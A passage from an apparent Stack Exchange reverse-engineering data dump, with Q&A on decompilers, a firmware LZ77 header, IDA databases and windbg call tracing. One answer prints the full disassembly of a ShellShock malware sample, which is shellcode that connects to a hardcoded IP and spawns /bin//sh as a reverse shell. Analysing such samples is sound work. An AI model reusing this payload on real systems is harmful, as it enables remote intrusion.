  <row Id="6586" PostTypeId="2" ParentId="6556" CreationDate="2014-11-04T18:23:11.597" Score="-3" Body="&lt;p&gt;You should not be using &quot;cat&quot;. &quot;cat&quot; was made thinking about printable characters and it is very likely that &lt;em&gt;THAT&lt;/em&gt; is your problem. Something might be messed up after &quot;cat&quot;, causing the trouble with filesystem recognition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &quot;dd&quot; for &lt;strong&gt;&lt;em&gt;reliable&lt;/em&gt;&lt;/strong&gt; byte-by-byte copies.&lt;/p&gt;&#xA;" OwnerUserId="9877" LastEditorUserId="9877" LastEditDate="2017-10-06T19:52:39.403" LastActivityDate="2017-10-06T19:52:39.403" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6587" PostTypeId="2" ParentId="6585" CreationDate="2014-11-04T18:31:44.710" Score="5" Body="&lt;p&gt;The approach to finding security vulnerabilities in games is no different than the approach to finding security vulnerabilities in other applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As discussed &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/3213/1562&quot;&gt;here&lt;/a&gt;, &quot;Most vulnerabilities in closed-source products are found via fuzzing and static reverse engineering... Typically you don't need to analyze the entire program, but only the entrypoints for user-input.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of games, the entrypoints are typically network data (server-to-client, client-to-client, and if you have access to the server binaries then client-to-server (and server-to-server if supported)), saved game files, non-executable mods like &quot;skins&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's a game vulnerability that I discovered and reported several years ago:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://packetstormsecurity.com/files/82124/Alien-Arena-7.30-Code-Execution.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advisory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/JasonGeffner/anonymous-remote-arbitrary-code-execution-in-alien-arena&quot; rel=&quot;nofollow noreferrer&quot;&gt;Presentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Though RCE was required to develop the exploit, the vulnerability was found without RCE. Nonetheless, you can see this as an example of a game containing a security vulnerability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regard to finding vulnerabilities in closed-source products, there are countless papers, tutorials, and books available. &lt;a href=&quot;http://amzn.com/047008023X&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Shellcoder's Handbook&lt;/a&gt; is one that comes to mind.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-11-04T19:46:06.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6588" PostTypeId="2" ParentId="6469" CreationDate="2014-11-04T20:57:43.713" Score="1" Body="&lt;p&gt;The R.java file created by jadx exists to be a reference between the resources id after compilation and the name of the resource mentioned throughout the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to recompile it, it is possible to recreate something that looks like the original xml files by creating a script that ignores a part of the prefix and searches for the resource's name. Once it is located inside the xml files, specify the correct one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I think that apktool provides a much better reference to the resources xml files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if what you wanna do is make just a small change, it will be faster to do it with smali and use apktool to put it all back together again.&lt;/p&gt;&#xA;" OwnerUserId="9877" LastActivityDate="2014-11-04T20:57:43.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6589" PostTypeId="1" AcceptedAnswerId="6590" CreationDate="2014-11-05T00:43:45.197" Score="2" ViewCount="3563" Body="&lt;p&gt;I am aware that when decompiling a jar file, it is normal for the resulting .java files to contain syntax errors, but I am unsure of why and worse off I am sometimes unsure of how to fix these syntax errors. Take &lt;code&gt;int[] arrayOfInt = new int['Â€'];&lt;/code&gt;, for example. Eclipse complains that &lt;code&gt;'Â€'&lt;/code&gt; does not belong. Surprise! I know this already, but why does this happen. How can I find out what this value should be?&lt;/p&gt;&#xA;" OwnerUserId="8570" LastActivityDate="2014-11-18T05:32:47.977" Title="Syntax errors when decompiling with JD-GUI" Tags="|java|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6590" PostTypeId="2" ParentId="6589" CreationDate="2014-11-05T03:29:51.017" Score="5" Body="&lt;p&gt;The reason it happens is because JD-Gui isn't encoding unicode properly. You can see that the thing inside the quotes is two bytes, and appears to be interpreted as nonstandard upper 128 characters. I.e. JD-Gui is emitting unicode, but the charset isn't declared correctly so your editor interprets it as two raw bytes in an 8bit charset instead of a single unicode character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution is to use a Decompiler that emits unicode escapes instead of raw unicode byte sequences. That way, any editor will be able to view it correctly. I'd recommend Procyon (it's a lot better than JD-Gui anyway).&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2014-11-05T03:29:51.017" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6591" PostTypeId="1" AcceptedAnswerId="6593" CreationDate="2014-11-05T13:03:19.610" Score="2" ViewCount="2209" Body="&lt;p&gt;I'm working on reversing the SJ4000 camera firmware but I found a problem unpacking it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the header I found on the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  42 43 4c 31 81 66 00 09  00 54 68 e0 00 2f 2b bf  |BCL1.f...Th../+.|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see BCL1 is the header for 'Basic Compression Library' ( &lt;a href=&quot;http://bcl.comli.eu/home-en.html&quot; rel=&quot;nofollow&quot;&gt;http://bcl.comli.eu/home-en.html&lt;/a&gt; ) using LZ77 algorithm but I can't decompress the image with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built some files using BCL, compared to the firmware header and found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  42 43 4c 31 81 66 00 09  00 54 68 e0 00 2f 2b bf  |BCL1.f...Th../+.| &amp;lt; FIRMWARE&#xA;00000000  42 43 4c 31 00 00 00 09  00 00 4f 88 99 7f 45 4c  |BCL1......O...EL| &amp;lt; LZ&#xA;00000000  42 43 4c 31 00 00 00 02  00 00 4f 88 20 03 06 90  |BCL1......O. ...| &amp;lt; HUFFMAN&#xA;00000000  42 43 4c 31 00 00 00 01  00 00 4f 88 99 7f 45 4c  |BCL1......O...EL| &amp;lt; RLE&#xA;00000000  42 43 4c 31 00 00 00 0a  00 00 4f 88 56 01 64 9f  |BCL1......O.V.d.| &amp;lt; SF&#xA;00000000  42 43 4c 31 00 00 00 03  00 00 4f 88 00 7f 45 4c  |BCL1......O...EL| &amp;lt; RICE8&#xA;00000000  42 43 4c 31 00 00 00 04  00 00 4f 88 00 45 7f 46  |BCL1......O..E.F| &amp;lt; RICE16&#xA;00000000  42 43 4c 31 00 00 00 05  00 00 4f 88 00 46 4c 45  |BCL1......O..FLE| &amp;lt; RICE32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to this the compression algorithm is LZ77 and it follows the same structure except for 2 bytes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42 43 4c 31 &amp;lt; Magic Number&#xA;81 66 00 09 &amp;lt; unknown 2 bytes + 2 standard bytes &#xA;00 54 68 e0 &amp;lt; Original Size&#xA;00 2f 2b bf &amp;lt; Compressed Size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what these 2 bytes mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I tried to edit that 2 bytes and override them with 00 00 so the header matches the standard. After that tried to uncompress it with BCL LZ77 and it prompts a segmentation fault:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LZ77 decompress FW96655A_ZERO.bin to test...&#xA;Input file: 3091395 bytes&#xA;Output file: 5531872 bytes&#xA;Segmentation fault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checking the lenght bytes I got the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x005468E0 &amp;gt; Big Endian Long: 5531872&#xA;0x002F2BBF &amp;gt; Big Endian Long: 3091391&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see for the compressed data length there is a difference of 4 bytes that might be causing the Seg. fault.&lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="2197" LastEditDate="2014-11-05T14:47:16.963" LastActivityDate="2015-01-26T22:41:44.090" Title="Non standard LZ77 compression header" Tags="|firmware|unpacking|decompress|magic-number|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6592" PostTypeId="1" CreationDate="2014-11-05T14:18:31.820" Score="4" ViewCount="974" Body="&lt;p&gt;I'm working on a certain executable to which I add additional binary files from time to time.&#xA;A few hours ago, I added an additional binary file to the idb I was working on like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMQxH.png&quot; alt=&quot;Dialog Box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The additional binary file is about 60k in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I next pressed ctrl+W, it took a long while for IDA to save, and then I noticed the .idb file grew to 16GB in size. It couldn't have been more than a few megabytes before that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried editing the sections and deleting the one I just added and re-saving but it doesn't seem to change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no backup.&#xA;What can I do at this point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;I forgot to mention, when I try to close and tell IDA to collect garbage, it still saves 16GB worth of idb file. Telling it to deflate the database causes the resulting idb file to be 16 -MB- but when I open it again it inflates to 16GB. Specifically, the .id1 file is the heavy one.&lt;/p&gt;&#xA;" OwnerUserId="6971" LastEditorUserId="6971" LastEditDate="2014-11-05T15:17:36.353" LastActivityDate="2014-11-06T12:15:02.867" Title=".idb file suddenly grew to 16GB in size" Tags="|ida|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6593" PostTypeId="2" ParentId="6591" CreationDate="2014-11-05T14:43:02.573" Score="5" Body="&lt;p&gt;I don't know for sure but can think of two possibilities.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;One is that it's simply a coding error and only the low half of the 32-bit register was initialized when the file was created.  If that's the case, then simply zeroing those two bytes should result in a successful decompression using the standard tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The other is that it's a (proprietary) modification to the normal LZ77 decompression, in which case, it's likely to be a minor enhancement rather than a completely new scheme.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All of the samples of that camera's firmware that I was easily able to locate on the internet use the standard &lt;code&gt;00 00 00 09&lt;/code&gt; tag, which may indicate that the first possibility is the more likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After checking with the binary you mentioned, it became clear that there was simply an error in the &lt;code&gt;bfc.c&lt;/code&gt; file.  Specifically, around line 192 of &lt;code&gt;bfc.c&lt;/code&gt; it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( command == 'd' )&#xA;{&#xA;    /* Read header */&#xA;    algo = ReadWord32( f );  /* Dummy */&#xA;    algo = ReadWord32( f );&#xA;    outsize = ReadWord32( f );&#xA;    insize -= 12;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this is incorrect because it fails to read the &lt;code&gt;infile&lt;/code&gt; size as written in the header.  To quickly fix this, just change those lines to these and recompile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( command == 'd' )&#xA;{&#xA;    /* Read header */&#xA;    algo = ReadWord32( f );  /* Dummy */&#xA;    algo = ReadWord32( f );&#xA;    outsize = ReadWord32( f );&#xA;    ReadWord32( f );&#xA;    insize -= 16;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I do that, there is no problem decompressing the code.  To make the corresponding change to the output file (that is, compressing), change the code around line 364 of &lt;code&gt;bfc.c&lt;/code&gt; from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Write output file */&#xA;WriteWord32( outsize, f );&#xA;fwrite( out, outsize, 1, f );&#xA;fclose( f );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Write output file */&#xA;fwrite( out, outsize, 1, f );&#xA;fclose( f );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should probably mention the likely reason this change was done.  In the original program, the file size can be used to determine the size, but in an undifferentiated array of bytes (i.e. no file system) as is often the case in ROM, it is useful to encode both input and output files sizes within the header.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2014-11-05T19:12:03.580" LastActivityDate="2014-11-05T19:12:03.580" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6595" PostTypeId="2" ParentId="6589" CreationDate="2014-11-05T16:49:28.683" Score="3" Body="&lt;p&gt;You should use Luyten. It is a java decompiler just like JD-Gui, but it lacks much of the bugs inside jd-gui logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a front-end to Procyon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Sorry, I know i should commenting on Antimony's answer, but i don't have the necessary points to do that.&lt;/p&gt;&#xA;" OwnerUserId="9877" LastActivityDate="2014-11-05T16:49:28.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6598" PostTypeId="1" AcceptedAnswerId="6604" CreationDate="2014-11-06T07:28:53.483" Score="3" ViewCount="5225" Body="&lt;p&gt;I'm trying to dump assembly code of a ShellShock malware explained in this blog post:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html?m=1&quot; rel=&quot;nofollow&quot;&gt;MMD-0027-2014 - Linux ELF bash 0day (shellshock): The fun has only just begun... &lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After dumping using &lt;code&gt;objdump -d&lt;/code&gt;, the output shows just the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fu4k:     file format elf32-i386&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I tried the command &lt;code&gt;objdump -b elf32-i386 -d fu4k&lt;/code&gt;, but it gave the same output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please point me in the right direction. Malware is located &lt;a href=&quot;http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;amp;t=3506&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (login required, password:infected).&lt;/p&gt;&#xA;" OwnerUserId="9948" LastEditorUserId="9948" LastEditDate="2014-11-06T14:47:27.427" LastActivityDate="2020-04-19T17:58:59.173" Title="Unable to dump malware assembly using objdump" Tags="|malware|objdump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6599" PostTypeId="2" ParentId="6592" CreationDate="2014-11-06T12:15:02.867" Score="2" Body="&lt;p&gt;Eventually what I did was start fresh. Opened the original binary, added the additional binaries again (including that 60kb one), exported the database and typeinfo from the 16gb one (file-&gt;produce file-&gt;dump database to IDC file) and imported them into the fresh copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Took 2 minutes, everything's okay now and the new .idb weighs 2.5mb&lt;/p&gt;&#xA;" OwnerUserId="6971" LastActivityDate="2014-11-06T12:15:02.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6600" PostTypeId="2" ParentId="6560" CreationDate="2014-11-06T16:36:21.547" Score="2" Body="&lt;p&gt;In addition to Guntram Blohm's answer, I would spend time looking up the data sheets for the ICs on the board.  Your pictures are too blurry to read part numbers.  The data sheet will usually contain information about what the part does and example circuits along with pinouts.  Tracing pins from known pins on ICs to the pins on the connector will go a long way to telling you what is on the pin without ever putting meters, scopes, or analyzers physically on the device.&lt;/p&gt;&#xA;" OwnerUserId="8449" LastActivityDate="2014-11-06T16:36:21.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6603" PostTypeId="1" AcceptedAnswerId="6606" CreationDate="2014-11-06T21:38:47.757" Score="4" ViewCount="1069" Body="&lt;p&gt;I have a binary and I'm interested in an high level overview of how it operates. I was trying to generate a list of functions called during a particular execution, with their hierarchy, for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f1 . f2                . f1 . f2&#xA;        . f3 . f4                . f6&#xA;                  . f5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would mean that something like this is happening in that particular execution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main {&#xA;  f1();&#xA;  f2();&#xA;  f1();&#xA;  f2();&#xA;}&#xA;&#xA;f2 {&#xA;  if(something) {&#xA;    f3();&#xA;    f4();&#xA;  }&#xA;  else {&#xA;    f6();&#xA;  }&#xA;}&#xA;&#xA;f4 {&#xA;  f5();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should make it easier to find the functions I'm interested in, and how they work at an high level. I could compare the flow between different executions where I do or don't do some things which should also help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing it? What tools can I use? I'm 100% new to reverse engineering, I've been searching all day and I'm starting to feel like it doesn't actually make sense since it seems something pretty basic but I can't find any result.&lt;/p&gt;&#xA;" OwnerUserId="9949" LastActivityDate="2014-11-07T12:39:53.807" Title="Finding execution flow/calls to functions?" Tags="|debugging|dynamic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6604" PostTypeId="2" ParentId="6598" CreationDate="2014-11-07T00:03:53.173" Score="5" Body="&lt;p&gt;&lt;code&gt;-d&lt;/code&gt; only disassembles what objdump considers to be code sections. You can use &lt;code&gt;-D&lt;/code&gt; to force disassembly of all sections. However, it still doesn't work for this file because it doesn't have a &lt;em&gt;section table&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fu4k:     file format elf32-i386&#xA;fu4k&#xA;architecture: i386, flags 0x00000102:&#xA;EXEC_P, D_PAGED&#xA;start address 0x08048054&#xA;&#xA;Program Header:&#xA;    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12&#xA;         filesz 0x00000098 memsz 0x000000dc flags rwx&#xA;&#xA;Sections:&#xA;Idx Name          Size      VMA       LMA       File off  Algn&#xA;SYMBOL TABLE:&#xA;no symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in this case you can ask objdump to treat the file as binary and disassemble everything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -b binary -D -m i386 fu4k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To improve disassembly, you can use the information from the &lt;em&gt;program headers&lt;/em&gt; (load address and entrypoint address):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;objdump -b binary -D -m i386 fu4k --adjust-vma=0x08048000 --start-address=0x08048054&#xA;&#xA;fu4k:     file format binary&#xA;&#xA;&#xA;Disassembly of section .data:&#xA;&#xA;08048054 &amp;lt;.data+0x54&amp;gt;:&#xA; 8048054:       31 db                   xor    %ebx,%ebx&#xA; 8048056:       f7 e3                   mul    %ebx&#xA; 8048058:       53                      push   %ebx&#xA; 8048059:       43                      inc    %ebx&#xA; 804805a:       53                      push   %ebx&#xA; 804805b:       6a 02                   push   $0x2&#xA; 804805d:       89 e1                   mov    %esp,%ecx&#xA; 804805f:       b0 66                   mov    $0x66,%al&#xA; 8048061:       cd 80                   int    $0x80&#xA; 8048063:       93                      xchg   %eax,%ebx&#xA; 8048064:       59                      pop    %ecx&#xA; 8048065:       b0 3f                   mov    $0x3f,%al&#xA; 8048067:       cd 80                   int    $0x80&#xA; 8048069:       49                      dec    %ecx&#xA; 804806a:       79 f9                   jns    0x8048065&#xA; 804806c:       68 1b 13 9f e0          push   $0xe09f131b&#xA; 8048071:       68 02 00 11 c1          push   $0xc1110002&#xA; 8048076:       89 e1                   mov    %esp,%ecx&#xA; 8048078:       b0 66                   mov    $0x66,%al&#xA; 804807a:       50                      push   %eax&#xA; 804807b:       51                      push   %ecx&#xA; 804807c:       53                      push   %ebx&#xA; 804807d:       b3 03                   mov    $0x3,%bl&#xA; 804807f:       89 e1                   mov    %esp,%ecx&#xA; 8048081:       cd 80                   int    $0x80&#xA; 8048083:       52                      push   %edx&#xA; 8048084:       68 2f 2f 73 68          push   $0x68732f2f&#xA; 8048089:       68 2f 62 69 6e          push   $0x6e69622f&#xA; 804808e:       89 e3                   mov    %esp,%ebx&#xA; 8048090:       52                      push   %edx&#xA; 8048091:       53                      push   %ebx&#xA; 8048092:       89 e1                   mov    %esp,%ecx&#xA; 8048094:       b0 0b                   mov    $0xb,%al&#xA; 8048096:       cd 80                   int    $0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-04-19T17:58:59.173" LastActivityDate="2020-04-19T17:58:59.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6605" PostTypeId="2" ParentId="6585" CreationDate="2014-11-07T01:28:04.700" Score="0" Body="&lt;p&gt;This is a good (maybe starting to show its age) book &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0132271915&quot; rel=&quot;nofollow&quot;&gt;Exploiting Online Games: Cheating Massively Distributed Systems&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a general intro on game hacking, sections on reversing and exploiting. You'll find all you need there. You don't seem to be required to do binary reversing for your project. It sounds like any project on figuring out how a client or server works will do - even if they are in Lua :)&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2014-11-07T01:28:04.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6606" PostTypeId="2" ParentId="6603" CreationDate="2014-11-07T04:56:37.563" Score="6" Body="&lt;p&gt;you can use windbg wt (watch and trace function to generate an execution flow) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the demo below is for the code in your query compiled in debug mode (to ensure function calls exist and not optimised away by a simple substitution)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code used for example compiled in msvcpp2ktenexp debug&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    int  glob   = 0;&#xA;    void f1(int a)  { printf(&quot;%d &quot;,a); glob++;}&#xA;    void f3(int a)  { printf(&quot;F3 %d &quot;,a);}&#xA;    void f5(int a)  { printf(&quot;F5 %d &quot;,a);}&#xA;    void f6(int a)  { printf(&quot;%d &quot;,a);}&#xA;    void f4(int a)  { f5(5);}&#xA;    void f2(int a)  { if(glob == 8) { f3(3); f4(4); } else { f6(6); } }&#xA;    void main()     { rndrob:f1(1);f2(2);f1(1);f2(2);if(glob&amp;lt;10){goto rndrob;} }&#xA;dry run results &#xA;&amp;gt;flowt.exe&#xA;1 6 1 6 1 6 1 6 1 6 1 6 1 6 1 F3 3 F5 5 1 6 1 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;windbg wt results for module flowt function main() edited to remove fluff&#xA;statistics at the end shows printf() was called 21 times f3() f4() once etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:&gt;cdb -c &quot;g main;wt -m flowt&quot; flowt.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tracing flowt!main to return address 00411bcf&#xA;   59     0 [  0] flowt!main&#xA;   62     0 [  1]   flowt!f1&#xA;1    72     0 [  2]     MSVCR100D!printf&#xA;   65    72 [  1]   flowt!f1&#xA;   62   156 [  0] flowt!main&#xA;   61     0 [  1]   flowt!f2&#xA;   62     0 [  2]     flowt!f6&#xA;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;   61     0 [  1]   flowt!f2&#xA;   62     0 [  2]     flowt!f3&#xA;F3 3    72     0 [  3]       MSVCR100D!printf&#xA;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;   64   153 [  1]   flowt!f2&#xA;    62     0 [  3]       flowt!f5&#xA;F5 5    72     0 [  4]         MSVCR100D!printf&#xA;   65    72 [  3]       flowt!f5&#xA;  141  4073 [  0] flowt!main&#xA;&#xA;4214 instructions were executed in 4213 events (0 from other threads)&#xA;Function Name                               Invocations MinInst MaxInst AvgInst&#xA;MSVCR100D!printf                                     21      72      72      72&#xA;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;flowt!f1                                             10      77      77      77&#xA;flowt!f2                                             10      71      75      71&#xA;flowt!f3                                              1      74      74      74&#xA;flowt!f4                                              1      69      69      69&#xA;flowt!f5                                              1      74      74      74&#xA;flowt!f6                                              9      74      74      74&#xA;flowt!main                                            1     141     141     141&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer to Comment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had followed the logic exactly calc.exe will keep on outputting&lt;br&gt;&#xA;the &lt;code&gt;calls in MessageLoop Forever&lt;/code&gt; until you &lt;code&gt;close calc.exe&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;windbg calc.exe&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;g calc!WinMain&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is to &lt;code&gt;go to start of Winmain Function&lt;/code&gt; (&lt;code&gt;wt traces and watches a single Function Call and its childcalls N deep&lt;/code&gt; so to use wt you need to be on the start of any Function you wish to trace &lt;code&gt;g Winmain Ensures you are on the start of Function WinMain&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wt -m calc&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will loop forever logging all the sub calls inside calc!WinMain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is a fine grained example for calc.exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DoOperation is a Function in calc.exe&lt;/code&gt; that does all the operations&lt;br&gt;&#xA;the output below &lt;code&gt;shows how to watch and trace that function a single time&lt;/code&gt; it is called   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;g calc!DoOperation breaks when DoOperation is called&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;wt traces the DoOperation for one time&lt;/code&gt; (will trace &lt;code&gt;one bracket open&lt;/code&gt; &#xA;if you do &lt;code&gt;3+5 and hit = it will stop tracing&lt;/code&gt; it will also &#xA;&lt;code&gt;stop tracing if you do 3+5 * because *&lt;br&gt;&#xA;(multiplication finishes the first operation viz addition )&lt;/code&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and will print the results&#xA;&lt;code&gt;g;q is required to tell we need to continue executing after wt and quit debugging when calc.exe is closed&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;cdb -c &quot;g calc!DoOperation; wt -m calc ;g;q&quot; calc&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'g calc!DoOperation; wt -m calc ;g;q'&#xA;&#xA;Tracing calc!DoOperation to return address 010035a0&#xA;    2     0 [  0] calc!DoOperation&#xA;   10     0 [  1]   calc!_EH_prolog&#xA;   20    10 [  0] calc!DoOperation&#xA;   12     0 [  1]   calc!addrat&#xA;   52     0 [  2]     calc!equnum&#xA;   36    52 [  1]   calc!addrat&#xA;   19     0 [  2]     calc!addnum&#xA;   30     0 [  3]       calc!_addnum&#xA;    6     0 [  4]         calc!_createnum&#xA;   25     0 [  5]           kernel32!LocalAlloc&#xA;   12    25 [  4]         calc!_createnum&#xA;  112    37 [  3]       calc!_addnum&#xA;    3     0 [  4]         calc!_destroynum&#xA;   17     0 [  4]         kernel32!LocalFree&#xA;  118    57 [  3]       calc!_addnum&#xA;   23   175 [  2]     calc!addnum&#xA;   41   250 [  1]   calc!addrat&#xA;   28   301 [  0] calc!DoOperation&#xA;&#xA;329 instructions were executed in 328 events (0 from other threads)&#xA;&#xA;Function Name                               Invocations MinInst MaxInst AvgInst&#xA;calc!DoOperation                                      1      28      28      28&#xA;calc!_EH_prolog                                       1      10      10      10&#xA;calc!_addnum                                          1     118     118     118&#xA;calc!_createnum                                       1      12      12      12&#xA;calc!_destroynum                                      1       3       3       3&#xA;calc!addnum                                           1      23      23      23&#xA;calc!addrat                                           1      41      41      41&#xA;calc!equnum                                           1      52      52      52&#xA;kernel32!LocalAlloc                                   1  